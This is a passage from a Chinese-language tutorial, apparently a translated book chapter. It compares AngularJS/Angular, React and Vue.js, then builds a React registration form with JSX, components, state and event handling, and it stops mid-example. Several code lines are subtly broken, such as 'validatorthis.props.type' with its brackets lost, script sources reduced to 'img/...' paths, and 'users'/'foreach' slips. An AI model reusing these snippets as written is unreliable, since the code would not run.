对于简单的获取和显示应用程序,例如用户目录,其主要逻辑是从 API 获取数据,将其替换到模板中,并渲染它,这可能还是可以管理的。但对于更复杂的应用程序,我们可能会发现自己仍然需要重新实现框架/库提供的许多功能。类似于 Express 通过抽象底层细节来简化处理 HTTP 请求和路由的方式,这些框架/库可以为我们抽象掉很多逻辑。
选择框架/库
可用的客户端框架/库众多,包括Aurelia、Ember、Polymer、Backbone、AngularJS/Angular、Vue.js、React、Preact、Knockout、jQuery、Mithril、Inferno、Riot、Svelte等等。然而,有三个框架/库占据主导地位:AngularJS/Angular、React 和 Vue.js。
让我们根据不同的因素逐一分析,以便我们能够做出明智的决定,选择最适合我们用例的库/框架。
流行度/社区
在 2012 年 AngularJS 发布之前,客户端 Web 应用程序框架,如 Knockout、Backbone 和 Ember 就已经存在,但 AngularJS 是第一个获得广泛采用并多年保持“最受欢迎的前端框架”称号的框架。然而,由于它是第一个,开发者很快就发现了很多令人烦恼的粗糙边缘。根据 2017 年JavaScript 状态调查,在所有使用过 AngularJS(版本 1)的人中,只有 32.9%的人会再次使用它。
因此,当 React 在 2013 年发布时,许多 Angular 开发者迁移到 React,这提高了 React 的知名度。React 开发者的满意度也很高,上述调查中有 93.1%的开发者表示他们会再次使用它。
2014 年,AngularJS 团队试图通过承诺完全重写 AngularJS 框架来做出回应。然而,新版本(现在称为“Angular”)与旧版本(现在称为“AngularJS”)不兼容,这意味着从 AngularJS 迁移到 Angular 需要完全重写应用程序。这引发了 Angular 社区中的强烈反对,进一步促使更多开发者转向 React。为了给 Angular 增添麻烦,Angular 2 的开发进度出现了许多延误,最终版本直到两年后的 2016 年才发布。在前端生态系统中,两年是一个非常长的时间,而那时 React 已经占据了开发者的大部分市场份额。
Vue.js 是最新加入的框架,它结合了从 Angular 和 React 中学到的经验(Vue.js 的创造者 Evan You 曾是谷歌的架构师)。自 2014 年发布以来,它在某种程度上对生态系统产生了与 React 首次发布时相同的影响。它的满意度也很高,有 91.1%的开发者表示他们会再次使用 Vue.js。
在具体数字方面,根据同一JavaScript 状态调查,在 23,704 名受访者中,有 14,689 人(62.0%)使用过 React,这一比例从 2016 年的 57.1%略有上升。共有 11,322 人(47.8%)使用过 AngularJS 1,这一比例从 2016 年的 63.6%下降,6,738 人(28.4%)使用过 Angular 2,这一比例从 2016 年的 20.5%上升。最大的增长者是 Vue.js,有 5,101 人(21.5%)表示他们使用过它,这一数字几乎是从 2016 年的 10.8%的两倍。
在源代码的贡献者方面,有 1,598 名开发者为 Angular 做出了贡献,1,177 名开发者为 React 做出了贡献,而只有 187 名开发者对 Vue.js 做出了贡献。
重要的是要注意,最受欢迎的框架并不意味着它是最好的框架,开发者永远不应该仅仅基于其知名度(即炒作驱动的发展)来选择框架。然而,一个框架越受欢迎,使用该框架的开发者就越多,因此在论坛和问答网站(如 Stack Overflow)上可能会有更多的社区支持。从企业的角度来看,这也会使招聘开发者变得更加容易。
因此,从受欢迎程度/社区/生态系统角度来看,Angular 正在衰落,Vue.js 正在崛起,但 React 仍然是明显的选择。
功能
当 Angular 首次推出时,它处理了路由、(双向)数据绑定和 DOM 操作。它是这一类中的第一个,并确立了客户端 Web 应用程序框架应该是什么样的标准。
然后,当 React 推出时,它重新定义了那个标准。虽然 Angular 将双向数据绑定作为杀手级特性进行推广,但 React 则将其视为一个错误源;相反,它推广了一向数据绑定。
但 React 中的最大范式转变是虚拟 DOM 和 JSX 的引入。
虚拟 DOM
虚拟 DOM 是真实 DOM 的简化抽象。在 React 中,开发者应该操作虚拟 DOM 而不是手动操作真实 DOM。React 会比较旧的虚拟 DOM 状态和新的状态,并计算出操作真实 DOM 的最有效方式。
DOM 操作是一个重量级操作,人类往往看不到最有效的方法。因此,让 React 自动计算出最有效的方法可以使更新 DOM 更加高效,从而实现更快、更反应灵敏的 UI。
JSX
JSX 是一种新的语言,它编译成 JavaScript。它允许开发者使用类似 HTML 的语法定义 UI 组件。你不需要使用 document.createElement()
、React.createElement()
或模板引擎,你可以用 JSX 编写你的组件。JSX 像一个模板,因为你可以在模板中添加占位符,这些占位符将被真实数据替换。区别在于 JSX 编译成纯 JavaScript,这意味着你可以在 JSX 文件中直接使用任何 JavaScript 语法。
如果你熟悉 CSS 预处理器,你可以将 JSX 视为 HTML 的预处理器,类似于 Sass 对 CSS 所做的那样。JSX 的引入意味着开发者有了一个更简单的方式来在代码中可视化他们的 UI 组件。
React 之后
说到 React 改变了前端开发,这并不过分。React 引入了其他库和框架所复制的新概念。例如,Vue.js 也实现了虚拟 DOM 并在其模板中支持 JSX 语法。
然而,Angular 已经远远落后于其他框架。Angular 团队坚持“Angular 方式”,并没有与社区一起前进。我敢说,他们的最佳时期已经过去;目前他们能做的就是追赶。
灵活性
Angular 是一个框架,这意味着你必须承诺使用该框架构建你应用程序的全部内容。正如 Angular 团队重写 Angular 时所展示的那样,改变一个框架需要重写整个应用程序。
另一方面,React 和 Vue.js 是库,这意味着你可以将它们添加到你的项目中,并在适当的时候使用它们。你还可以添加额外的库(例如,路由器、状态管理),这些库将与 React/Vue.js 一起工作。
因此,在灵活性方面,React 和 Vue.js 是这里的赢家。
性能
Stefan Krause 开发并发布了一系列基准测试,使用每个框架进行一些基本操作(可在 github.com/krausest/js-framework-benchmark 上找到)。结果显示,React 比 Vue.js 略快,尤其是在进行部分更新时,但也消耗了略多的内存。
Angular 的性能与 React 和 Vue 相当,但消耗的内存明显更多,并且初始化时间更长。
跨平台
公司在选择技术栈时常见的错误是他们不一致。例如,我在一家初创公司工作过,我们共有四个项目,每个项目都使用不同的前端技术栈:AngularJS、Angular、Polymer 和 React。结果是,使用 Angular 开发的开发者无法帮助使用 React 的项目,反之亦然。一些开发者最终学习了所有框架,但代码质量很差,因为他们变成了“样样通,样样松”的人。因此,为所有前端项目保持一致的技术栈非常重要。通常,这不仅仅涉及网络应用程序,还包括原生移动和桌面应用程序。
使用 Ionic 的混合应用程序
在 AngularJS 发布大约 1 年后,Ionic 发布了。Ionic 是用于构建 混合 移动应用程序的框架。
实质上,你使用 Angular 构建一个网络应用程序,然后 Ionic 会使用另一个名为 Cordova 的工具将完整的应用程序包裹在一个 WebView 容器中。WebView 实际上是一个简化的网页浏览器,原生应用程序可以将其添加到自己的应用中。因此,混合应用程序基本上就是通过原生应用程序内部的浏览器来使用你的网络应用程序。使用混合应用程序,你可以“一次编写,到处运行”。
然而,由于有很多层,UI 的响应时间最初很慢,给混合应用程序带来了一种颠簸的感觉。
使用 React Native 和 Weex 的原生 UI
当 Facebook 在 2015 年宣布为 iOS 和 Android 提供 React Native 时,这是一个重大新闻。这意味着开发者现在可以使用相同的 React 原则和语法来开发网络和移动应用程序的前端。这也意味着可以共享非平台特定的逻辑,从而防止在不同语言中(Java 用于 Android 和 Swift/Objective-C 用于 iOS)对相同的逻辑进行多次实现。
这也被称作“一次学习,到处编写”,允许 React 开发者轻松地在网页开发者和移动开发者之间切换。如今,React Native 甚至可以用来构建 Windows 应用程序和虚拟现实(VR)应用程序。
对于 Vue.js,他们已经与阿里巴巴集团进行了持续的协作,开发了一个类似的跨平台 UI 库,称为 Weex。不久,Vue.js 也将支持使用 NativeScript 编写。然而,正如 Vue.js 团队自己承认的那样,Weex 仍在积极开发中,并且不像 React Native 那样经过实战检验,而 NativeScript 的支持是一个社区驱动的努力,目前尚未准备好。
因此,在跨多个平台使用相同的框架/库方面,React 拥有最成熟的工具和生态系统。
学习曲线
虽然这可能具有主观性,但我以及许多人发现 Angular 的学习曲线最陡峭。有许多 Angular 特有的概念,例如它们的 digest 循环,你必须理解这些概念才能在 Angular 中高效工作。Angular 还使用了开发者可能不熟悉的许多工具,包括:
-
TypeScript: 为 JavaScript 提供静态类型
-
RxJS: 允许你编写函数式响应式代码
-
SystemJS: 一个模块加载器
-
karma: 运行单元测试的工具
-
量角器: 一个端到端测试运行器,允许你运行与真实浏览器交互的测试
尽管每个工具都为应用程序带来了很多价值,但它无疑增加了 Angular 已经很陡峭的学习曲线。
相反,React 只是一个视图渲染库,因此更容易理解。基本思想是创建组件,传递一些输入,React 将生成最终视图并将其渲染到页面上。你可以以不同的方式排列这些组件,并将它们嵌套在一起,因为它们都是可组合的。你可能需要了解状态和 props 之间的区别,以及生命周期方法,但这最多只需要几个小时就可以完成。
人们说“React 学习曲线陡峭”时可能指的是其生态系统。React 生态系统是有组织的,你有很多工具,每个工具都做一件特定的事情。这通常是一件好事,但也意味着你需要花时间从不同的选项中进行选择,并且在尝试集成它们时可能会花费更多时间进行调试。
例如,你可能使用 React Router 来路由你的页面。你需要学习 Redux 或 MobX 来管理你的状态。大多数情况下,你会使用 Webpack 来打包你的应用程序。然而,许多 React 开发者也使用像 ImmutableJS、Flow、TypeScript、Karma 和 ESLint 这样的库,这些库不是强制性的工具,但常常会让新开发者感到困惑。
另一种方法是使用功能齐全的脚手架,例如 React Boilerplate (reactboilerplate.com),它具有更平缓的学习曲线,但你仍然需要学习脚手架作者使用的约定。此外,如果脚手架存在 bug/问题,调试起来会困难得多。
在概念上,React 比 Angular 简单得多。即使是在 React 生态系统下,学习曲线仍然可控。个人而言,必须自己拼接自己的技术栈迫使你了解每个工具的作用以及它们如何与其他工具交互,这是一件好事。
Vue.js 拥有更简单的学习曲线。它不使用 JSX,而是使用更简单的类似模板的语法以及自己的领域特定语言(DSL)。它不需要 Webpack,开发者只需包含一个典型的<script>
标签就可以启用 Vue.js。
<script src="img/vue"></script>
因此,对于不使用框架的开发者来说,迁移到 Vue.js 更容易,因为他们可以更轻松地将 HTML 转换为类似 HTML 的模板,并逐步将整个应用程序适应 Vue.js。
结论
在社区、丰富性、生态系统成熟度、功能、灵活性和跨平台能力方面,React 是显而易见的选择。
目前 Vue.js 可能比 React 有优势的一点是学习曲线。然而,一两年后,我们可能会看到 Vue.js 在其他所有方面超过 React。如果不是这样,另一个框架/库可能会做到。
Angular 不太可能完全消失,因为仍然有足够的早期采用者和 Angular 的忠实支持者,这意味着我们至少还会在市场上看到 Angular 几年。但除非他们做出大幅度的不同(并且更好),否则可以安全地假设 Angular 将缓慢地退入背景,就像它之前的先驱一样。
因此,鉴于到目前为止所列出的所有原因,我们将使用 React 开发我们的客户端 Web 应用程序。
开始使用 React
如前所述,尽管 React 本身相当简单,但围绕它的生态系统可能会有些令人不知所措。Shopify 的前高级前端开发人员 Tessa Thorton 曾撰写了一篇名为《如何学习 Web 框架》的博客文章 (ux.shopify.com/how-to-learn-web-frameworks-9d447cb71e68)。在文章中,她提醒我们:“框架的存在不是为了给人留下深刻印象或让生活变得更难。它们的存在是为了解决问题。”
这让我想起了我第一次构建的应用程序,一个 Amazon 的克隆。它完全使用纯 JavaScript 和 PHP 构建,因为我甚至不知道有框架可用!然而,有一段动画我无法正确实现,经过大量的 Google 搜索(并找到 Stack Overflow 的天堂),我最终使用了 jQuery。
对于学习如何编程来说,这不是一个坏策略。它让我理解了没有框架时可能做到的事情,并且当我使用框架时,我更加欣赏框架。
大多数教程都会要求你首先设置所有工具,然后再解释如何使用它们。我们将采取不同的方法——我们将从零开始构建我们的页面,使用最少的工具集,并在需要时引入新的概念和工具。
在下一节中,我们将使用这种方法来构建我们应用程序的注册页面。
什么是 React?
React 是一个用于构建面向客户端用户界面的应用程序库。原则上,它的工作方式与其他前端框架类似:它获取一些数据,将其插入某种模板中,然后将组合视图渲染到屏幕上。
组件
在 React 中,你构建的一切都是 组件。想象一下组件就像乐高积木;通过组合组件,你可以得到一个完整的用户界面。按钮可以是一个组件,输入字段可以是一个另一个组件。
许多开发者将“元素”和“组件”这两个术语互换使用。一般来说,当提到 HTML 元素时,你应该使用“元素”,当描述 React 组件时,你应该使用“组件”。
每个组件都包含自己的 HTML、CSS 和 JavaScript,因此它独立于其他组件。这包括在组件首次渲染到屏幕上时运行的函数,以及当它从视图中移除时运行的函数(这些函数统称为 lifecycle methods)。
组件可以组合成新的组件。例如,我们可以取两个 HobnobInput
组件,添加一个 HobnobButton
组件,然后将它们包裹在一个 <form>
元素内,称之为 HobnobForm
组件。
每个 React 应用程序都有一个单一的 根组件,你将 子组件 (它们可以有它们自己的子组件)挂载到根组件中。最终,你构建了一个组件树,类似于 DOM 树。
虚拟 DOM
React 组件实际上存在于一个称为 虚拟 DOM 的空间中,这是一个作为实际 DOM 轻量级表示的对象。本质上,当页面渲染时,React 从数据和组件生成一个虚拟 DOM 对象,然后将其转换为 DOM 元素并插入到 DOM 中。
那为什么不直接将 React 组件转换为 DOM 节点呢?答案是性能。
虚拟 DOM 如何提高性能
HTML 是一个表示网站/应用程序结构的线性字符串表示。这个字符串本身并不传达关于层次结构或结构的信息。为了浏览器理解并渲染 HTML 表示的结构,它解析这个 HTML 并将其抽象成一个称为 文档对象模型 或 DOM 的树状表示。本质上,你的线性 HTML 标签变成了 DOM 树中的节点。
然而,这种解析相对昂贵。有许多层级的嵌套,每个节点都有许多与之关联的属性和方法。因此,如果你的应用程序包含许多(嵌套)组件,你的最终用户可能会注意到渲染中的延迟。这也适用于 DOM 操作(当你移动 DOM 中的节点时),因此最好将 DOM 操作保持在最低限度。
React 使用虚拟 DOM 的概念来最小化 DOM 操作。在 React 中,当我们尝试渲染一个组件时,React 会将相关数据传递到你的组件的 render()
方法中,并生成你视图的轻量级表示,这构成了虚拟 DOM 的一部分。虚拟 DOM 是一个 JavaScript 对象,它没有真实 DOM 元素所具有的所有不必要的属性和方法,因此操作它们要快得多。
如果这是页面第一次渲染,虚拟 DOM 将被转换为标记并注入到文档中。每当组件的输入发生变化时,render()
方法可能会再次被调用,这将产生你视图的另一个表示。React 然后找出前一个表示和当前表示之间的差异(“虚拟 DOM 的差异”),并生成应用于 DOM 的最小更改集。
这意味着如果输入的变化不需要重新渲染,那么 DOM 就不会被操作。此外,通常很难看到操作 DOM 的最高效方式,尤其是在复杂的 UI 中。React 的算法负责找到实现新 UI 状态的最有效方式。
React 是声明式的
在传统的应用程序中,你可能需要监听数据的变化,处理它,并使用类似 jQuery 的工具自己更新 DOM。这是一种命令式风格,因为你基于数据指定 DOM 应该如何变化。例如,在用户搜索页面上,当结果返回时,看起来是这样的:
listener('searchResult', function (users) {
users
.map(user => document.createTextNode(users.name.first + users.name.last))
.foreach(node => document.getElementById('userList').appendChild(node))
});
相比之下,React 使用声明式风格,这意味着你不需要自己处理 DOM 更新。你只需声明你希望如何处理和显示数据,React 将找到一种方法来实现那种状态。
<ul>
{ state.users.map(post => <li>users.name.first + users.name.last</li>) }
</ul>
listener('searchResult', function (users) {
state.users = users;
});
声明式风格鼓励你编写确定性的 UI 组件,其工作只是忠实地反映状态。以这种方式完成时,当给定相同的状态对象时,UI 总是以相同的方式渲染。这使得开发者的工作变得容易得多,因为他/她只需要确保状态具有正确的值。
例如,在上面的例子中,开发者需要做的只是确保 state.users
数组包含最新的用户列表,并在必要时更新它。他/她永远不需要手动操作 DOM。
React 概述
我们已经涵盖了开始使用 React 所需了解的所有内容。以下是一个简短的总结:
-
React 是一个前端框架,它接收数据并输出用户界面(UI)
-
一个 React 应用程序由相互渲染的组件组成
-
这些 React 组件对应于真实的 DOM 节点
-
React 性能良好,因为它通过使用虚拟 DOM 来最小化 DOM 操作
-
React 是声明式的;我们不需要自己处理 DOM 操作
接下来,我们将开始构建我们的注册屏幕。
开始一个新的仓库
我们的后端代码被封装,并且只通过 API 暴露。因此,我们的前端 Web 应用程序必须通过这个 API 与我们的后端代码交互。由于我们的后端和前端耦合良好,为我们的前端应用程序创建一个新的仓库是有意义的。
$ mkdir -p ~/projects/hobnob-client
$ cd ~/projects/hobnob-client
$ git init
你可能想使用 ESLint 来帮助保持你的代码整洁。你可以使用之前相同的 eslint --init
向导来生成 .eslintrc
文件。然而,这次,当它问你 Do you use React?
时,选择 Yes
而不是 No
。
添加一些模板代码
我们现在准备好开始!在我们的新项目目录中,创建一个新的 index.html
文件。在它里面,添加以下模板代码。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Hobnob</title>
</head>
<body>
</body>
</html>
我们将使用两个库:react
和 react-dom
。react
是一个基础包,允许你定义组件;react-dom
包允许你将 React 组件在虚拟 DOM 中转换为 DOM 元素,并将这些 DOM 节点挂载到 DOM 本身。
将它们分成两个包的原因是 React 不仅用于 Web 应用程序,它还可以用于 React Native 的原生应用程序,或者使用 React Canvas 在 <canvas>
元素中使用。React 简单地提供了一个创建可重用组件的框架,并且对那些组件的使用和渲染方式一无所知。
因此,让我们在 index.html
的 <head>
标签内添加这两个库。
...
<title>Hobnob</title>
<script crossorigin src="img/react.production.min.js"></script>
<script crossorigin src="img/react-dom.production.min.js"></script>
</head>
...
这将 React
和 ReactDOM
作为全局变量暴露出来,我们可以在页面下方进一步使用。
在浏览器中打开你的 HTML 文件,并打开开发者工具。在控制台中,开始输入单词 React
。你会看到 React
和 ReactDOM
都是可用的。
创建我们的第一个组件
现在我们已经设置好了一切,让我们创建我们的第一个组件!对于我们的注册表单,我们需要有一个表单元素,其中包含两个输入字段,一个注册按钮,以及一个显示错误信息的区域。在 React 中,我们可以使用 createElement()
方法创建一个新的 React 元素,该方法接受三个参数:
React.createElement(type, [props], [...children])
type
可以是一个 HTML 标签名(例如,div
、span
、form
),一个 React 组件类,或者一个 React 片段类型(稍后详细介绍后两种)。
props
是我们可以传递给 React 元素的属性,并且可能会以某种方式改变它。这类似于你可以在 HTML 元素上指定属性的方式。实际上,如果正在创建的元素是一个原生 HTML 元素,这些 props
就被用作标签属性。props
应该指定为一个对象。
children
是嵌套在这个组件内部的 React 元素列表。在我们的例子中,我们会创建一个表单元素,并将我们的input
和button
元素嵌套在表单内部。
<body>
<script>
const emailInput = React.createElement('input', { type: 'email' });
const passwordInput = React.createElement('input', { type: 'password' });
const registerButton = React.createElement('button', null, 'Register');
const registrationForm = React.createElement('form', null, emailInput, passwordInput, registerButton);
</script>
</body>
注意我们是如何将{ type: 'email' }
作为props
传递给emailInput
的;这将在 DOM 上渲染为<input type="email">
。我们还向registerButton
元素传递了字符串'Register'
;这将导致文本在button
元素内部渲染,就像<button>Register</button>
。
要将registerForm
元素显示在页面上,我们需要使用ReactDOM.render()
方法,它接受两个参数:
-
要渲染的组件
-
将其渲染到 DOM 元素中的 DOM 元素
因此,我们应该在 body 内部创建一个新的 HTML 元素,并使用ReactDOM.render
将我们的 React 组件渲染到其中。
<body>
<div id="renderTarget"></div>
<script>
,,,
const registrationForm = React.createElement(...);
ReactDOM.render(registrationForm, document.getElementById('renderTarget'));
</script>
</body>
如果你将index.html
在浏览器中打开,你会看到输入框和按钮被显示出来。
在更仔细地检查 HTML 输出后,你会发现 props 变成了 HTML 标签属性,并且传递给createElement()
的子元素嵌套在其中。
<div id="renderTarget">
<form>
<input type="email">
<input type="password">
<button>Register</button>
</form>
</div>
由于我们指定了type
为email
,大多数浏览器会自动为我们验证字段。
JSX
我们已经在屏幕上成功渲染了一些内容,但对于如此简单的表单来说,这已经足够多了。而且它不会变得更好。为了使每个输入元素的作用更加清晰,我们应该给每个元素附加一个标签。如果我们在这个输入的上方添加这个标签,代码看起来会更加臃肿:
const emailInput = React.createElement('input', { type: 'email' });
const emailField = React.createElement('label', null, 'Email', emailInput);
const passwordInput = React.createElement('input', { type: 'password' });
const passwordField = React.createElement('label', null, 'Password', passwordInput);
const registerButton = React.createElement('button', null, 'Register');
const registrationForm = React.createElement('form', null, emailField, passwordField, registerButton);
一个典型的 Web 应用有成千上万的动态部分。使用createElement
成千上万次可以使代码难以阅读,所以让我们尝试一个替代方案:JSX。
JSX,或JavaScript XML,是一种语法,允许你以 XML 格式创建 React 元素和组件。例如,我们的registrationForm
元素在 JSX 中看起来会是这样:
<form>
<label>
Email
<input type="email" />
</label>
<label>
Password
<input type="password" />
</label>
<button>Register</button>
</form>
我们元素的现在结构立即变得更加清晰。但你可能会想,“但这只是 HTML!”你是对的。JSX 被设计成看起来和 HTML 一样,工作方式也类似。所以让我们尝试用新的 JSX 语法替换registrationForm
元素,看看会发生什么:
<script>
const RegistrationForm = () => (
<form>
<label>
Email
<input type="email" />
</label>
<label>
Password
<input type="password" />
</label>
<button>Register</button>
</form>
);
ReactDOM.render(<RegistrationForm />, document.getElementById('renderTarget'));
</script>
当我们在浏览器中打开index.html
时,现在会在控制台抛出一个错误信息,显示:
Uncaught SyntaxError: Unexpected token <
这是因为 JSX 不是有效的 JavaScript。
转译 JSX
如果你曾经使用过CoffeeScript,JSX 与它类似。你无法在浏览器中运行 CoffeeScript;你必须首先将其转换为 JavaScript。或者如果你使用过 CSS 预处理器,例如 Sass,JSX 也与之类似。Sass 中的@include
或@extend
等特性在 CSS 中是无效的,你必须使用预处理器将 Sass 转换为 CSS。对于 JSX 也是如此;我们必须使用转译器/预处理器将其转换为纯 JavaScript。
对于 JSX,最流行的转换器是 Babel 转换器,我们在开发 API 时已经使用过它。从某种意义上说,你可以将 JSX 视为新 ECMAScript 语法。一些 ECMAScript 功能在浏览器中不受支持,因此我们必须将其转换为浏览器可以理解的 JavaScript。JSX 在浏览器中不受支持,因此我们必须将其转换为浏览器支持的 JavaScript。
要查看 Babel 如何将 JSX 转换为 JavaScript,我们可以使用 Babel REPL,它可在 babeljs.io/repl/ 找到。打开它,并将 <script>
标签内的所有内容粘贴进去。你应该在右侧看到转换后的 JavaScript:
在服务器上,我们使用 Babel 将 src/
目录中的代码预编译到 dist/
目录。在客户端,我们可以在浏览器本身内部直接转换 JSX。为此,我们需要在 <head>
标签内包含 Babel Standalone Library 作为脚本:
...
<script crossorigin src="img/react-dom.production.min.js"></script>
<script src="img/babel.min.js"></script>
</head>
...
我们还需要将 <script>
标签更改为包含属性 type="text/babel"
。
<body>
<div id="renderTarget"></div>
<script type="text/babel">
...
</script>
</body>
type="text/babel"
属性告诉我们的浏览器不要将内部内容视为 JavaScript,而是作为纯文本。这意味着我们的 JSX 将不再抛出错误。然后,我们包含在 <head>
元素中的 Babel Standalone Library 将搜索任何具有类型 text/babel
的脚本标签,并将其转换为 JavaScript,然后执行转换后的 JavaScript。
打开你的浏览器,你应该看到我们之前看到的东西,但现在我们正在用 JSX 编写!
定义 React 组件
尽管我们通过使用 JSX 使我们的 React 代码变得更加清晰,但它仍然不如它本可以的那样干净和 DRY。例如,我们定义了相同的输入元素两次,尽管它们具有相同的结构。
<label>
Email
<input type="email" />
</label>
<label>
Password
<input type="password" />
</label>
这是不理想的,以下是一些因素:
-
这可能会导致不一致。为了实现一致的用户体验,我们应该为所有组件应用一致的风格和布局,包括这些输入框。如果没有标准模板定义输入框将使这一过程变得困难。
-
更新困难。如果设计发生变化,我们需要更新所有输入框以适应新的设计,这将很难找到所有输入框的实例并更新其样式。人类容易出错,我们可能会错过一个或两个。
我们应该确保我们的 React 代码是 DRY 的;因此,我们应该定义一个独立的组件,我们可以在需要输入字段的地方重复使用它。
函数式和类组件
React 组件接收props(输入数据)并返回 React 元素(s)。在 React 中,你可以通过两种方式定义一个组件:
-
函数式组件
-
类组件
例如,我们可以使用函数式组件语法定义一个 Input
React 组件。
function Input(props) {
return <label>{props.label}<input type={props.type} /></label>
}
大括号 ({}
) 是 JSX 语法。大括号之间的一切都被评估为 JavaScript,并替换在原位。
或者,我们可以使用类语法定义相同的Input
组件,它使用 ES6 类。
class Input extends React.Component {
render() {
return <label>{this.props.label}<input type={this.props.type} /></label>
}
}
这两种方法在功能上是等价的,可以像这样用来创建RegistrationForm
组件:
const RegistrationForm = () => (
<form>
<Input label="Email" type="email" />
<Input label="Password" type="password" />
<button>Register</button>
</form>
);
在这里,我们将label
和type
属性传递给Input
组件,然后我们在组件的render
方法中使用它们。
那你应该使用哪种语法来定义 React 组件?函数组件更容易理解;毕竟,它们只是 JavaScript 函数。类组件有更复杂的语法,但支持更多功能,例如保持状态,并且可以利用不同的生命周期方法,我们很快就会介绍。因此,如果你的组件不需要这些附加功能,那么你应该优先选择函数语法而不是类语法。
纯组件
不论语法如何,所有 React 组件都必须是纯的。纯组件是这样的:
-
返回值(React 元素)是确定的,仅基于组件的输入(属性)。
-
组件不产生副作用。例如,纯组件不应该修改属性。
纯函数和函数组件很好,因为它们更容易理解和测试。因此,当我们有一个大型的或深度嵌套的组件,如我们的Form
元素时,将它们分解成更小的纯函数组件,并使用这些组件来组合元素是良好的实践。
尝试将我们的按钮转换为其自己的(简单)组件。最终结果应该看起来像这样:
function Input(props) {
return <label>{props.label}<input type={props.type} /></label>
}
function Button(props) {
return <button>{props.title}</button>
}
const RegistrationForm = () => (
<form>
<Input label="Email" type="email" />
<Input label="Password" type="password" />
<Button title="Register" />
</form>
);
ReactDOM.render(<RegistrationForm />, document.getElementById('renderTarget'));
维护状态并监听事件
让我们更深入地处理Input
组件。当用户在输入框中键入时,验证用户输入并在其旁边显示指示器将大大提升用户体验。如果输入有效,指示器可以是绿色的,如果无效,则可以是红色的。
因此,我们的Input
组件需要:
-
监听和处理事件,以便在值变化时验证输入。
-
维护状态,以便组件可以持久化验证的结果。
目前,我们的Input
组件是以函数组件风格定义的。这是首选的,但它功能有限;它不能保持状态。因此,让我们首先将Input
组件转换为类组件:
class Input extends React.Component {
render() {
return <label>{this.props.label}<input type={this.props.type} /></label>
}
}
接下来,我们可以给Input
组件的每个实例提供一个状态。在 React 中,状态简单地说是一个键值存储(即对象),它是实例内部的(私有的)。对我们来说,我们将使用状态来保存有关输入是否有效的信息。
我们可以在组件类的constructor
方法中定义组件的初始状态,这是一个特殊的方法,当使用new
关键字实例化类时会被调用。
class Input extends React.Component {
constructor() {
super();
this.state = { valid: null }
}
render () { ... }
}
我们将状态属性valid
设置为null
,因为在用户输入任何内容之前,我们不想说它是有效的或无效的。
接下来,我们需要向 input
HTML 元素添加事件监听器。JSX 中的事件监听器与 HTML 中的类似,只是它们是 camelCase
而不是小写。例如,HTML 中的 onchange
监听器将是 onChange
。事件处理器属性值应该是一个事件处理器函数。更新标签内的 input
元素以包含 onChange
属性。
render() {
return <label>{this.props.label}<input onChange={this.validate} ... /></label>
}
现在,每当输入值发生变化时,this.validate
会被调用,并将事件对象作为其唯一的参数传递。由于此方法尚不存在,我们必须现在定义它。
处理事件
在类方法内部,this
指的是 React 元素(它是 Input
React 组件类型的实例)。因此,我们可以定义一个名为 validate
的方法,该方法将验证用户输入并更新状态:
<script type="text/babel">
const validator = {
email: (email) => /\S+@\S+\.\S+/.test(email),
password: (password) => password.length > 11 && password.length < 48
}
class Input extends React.Component {
constructor() { ... }
validate = (event) => {
const value = event.target.value;
const valid = validatorthis.props.type;
this.setState({ value, valid });
}
render() {
return <label>{this.props.label}<input type={this.props.type} onChange={this.validate} /></label>
}
}
...
</script>
validate
方法从 event.target.value
获取输入框的值,然后使用一个外部的 validator
对象来实际验证该值。如果值有效,validator
方法将返回 true
,如果无效,则返回 false
。
最后,validate
方法使用 setState
方法更新状态,该方法对所有类组件都是可用的。
setState
和不可变性
你应该使用 setState
来更新状态,而不是简单地修改现有的状态:
// Bad
validate = (event) => {
const value = event.target.value;
const valid = validatorthis.props.type;
this.state.value = value;
this.state.valid = valid;
}
// Good
validate = (event) => {
const value = event.target.value;
const valid = validatorthis.props.type;
this.setState({ value, valid })
}
最终结果是相同的:this.state
被更改为新值。然而,如果我们直接更新 this.state
对象,那么 React 必须定期轮询 this.state
的值以通知任何更改。这是缓慢且低效的,并且不是 React 的实现方式。相反,通过 this.setState
方法更改状态,它将“反应性地”通知 React 状态已更改,React 可能会选择触发视图的重新渲染。
渲染状态
最后,在我们的 render
方法中,让我们添加一个指示组件。我们将从组件的状态中读取以确定指示器的颜色。
<script type="text/babel">
...
function getIndicatorColor (state) {
if (state.valid === null || state.value.length === 0) {
return 'transparent';
}
return state.valid ? 'green' : 'red';
}
class Input extends React.Component {
constructor() { ... }
validate = (event) => { ... }
render () {
return (
<label>
{this.props.label}
<input type={this.props.type} onChange={this.validate}/>
<div className="indicator" style={{
height: "20px",
width: "20px",
backgroundColor: getIndicatorColor(this.state)
}}></div>
</label>
)
}
}
...
</script>
现在,在你的浏览器中打开 index.html
,并尝试输入框。如果你输入了一个无效的电子邮件,或者你的密码太短/太长,指示器将显示红色。
它看起来并不漂亮,但“功能优先于形式”——一旦我们有了功能,我们再关心外观。
提交表单
现在我们已经准备好了表单,让我们采取下一个逻辑步骤,找出如何将数据提交到我们的 API。
我们需要做的第一件事是为表单添加一个 onSubmit
事件处理器。处理器是针对注册表单的,因此应该与 RegistrationForm
关联。定义它的最明显的地方是作为一个类方法。将 RegistrationForm
更新如下:
class RegistrationForm extends React.Component {
handleRegistration = (event) => {
event.preventDefault();
event.stopPropagation();
}
render() {
return (
<form onSubmit={this.handleRegistration}>
<Input label="Email" type="email" />
<Input label="Password" type="password" />
<Button title="Register" />
</form>
)
}
}
this.handleRegistration
在表单提交时被触发(例如,当用户按下注册按钮)并将事件作为其唯一的参数传递。
表单的默认行为是向表单 action
属性中指定的 URL 发送 HTTP 请求。在这里,我们没有指定 action
属性,因为我们想以不同的方式处理表单。因此,我们调用 event.preventDefault()
来阻止表单发送请求。我们还调用 event.stopPropagation()
来阻止此事件被 捕获 或 冒泡;换句话说,它阻止其他事件处理器处理它。
接下来,我们需要找出如何获取每个输入框的值,组合请求,然后将其发送到我们的 API。
无状态表单元素
之前,我们说每个组件的状态是组件内部的(私有的)。然而,JavaScript 中没有私有类方法。我们唯一的等效方法是闭包;因此,我们的状态并不是真正私有的。如果我们能获取到 React 元素的引用,我们也可以获取到其状态。
React 支持一个名为 ref 的功能。我们可以使用 React.createRef()
方法创建 ref,然后将该 ref 附接到任何子 DOM 元素或 React 元素上。然后我们可以通过 ref 来引用该元素。
class RegistrationForm extends React.Component {
constructor(props) {
super(props);
this.email = React.createRef();
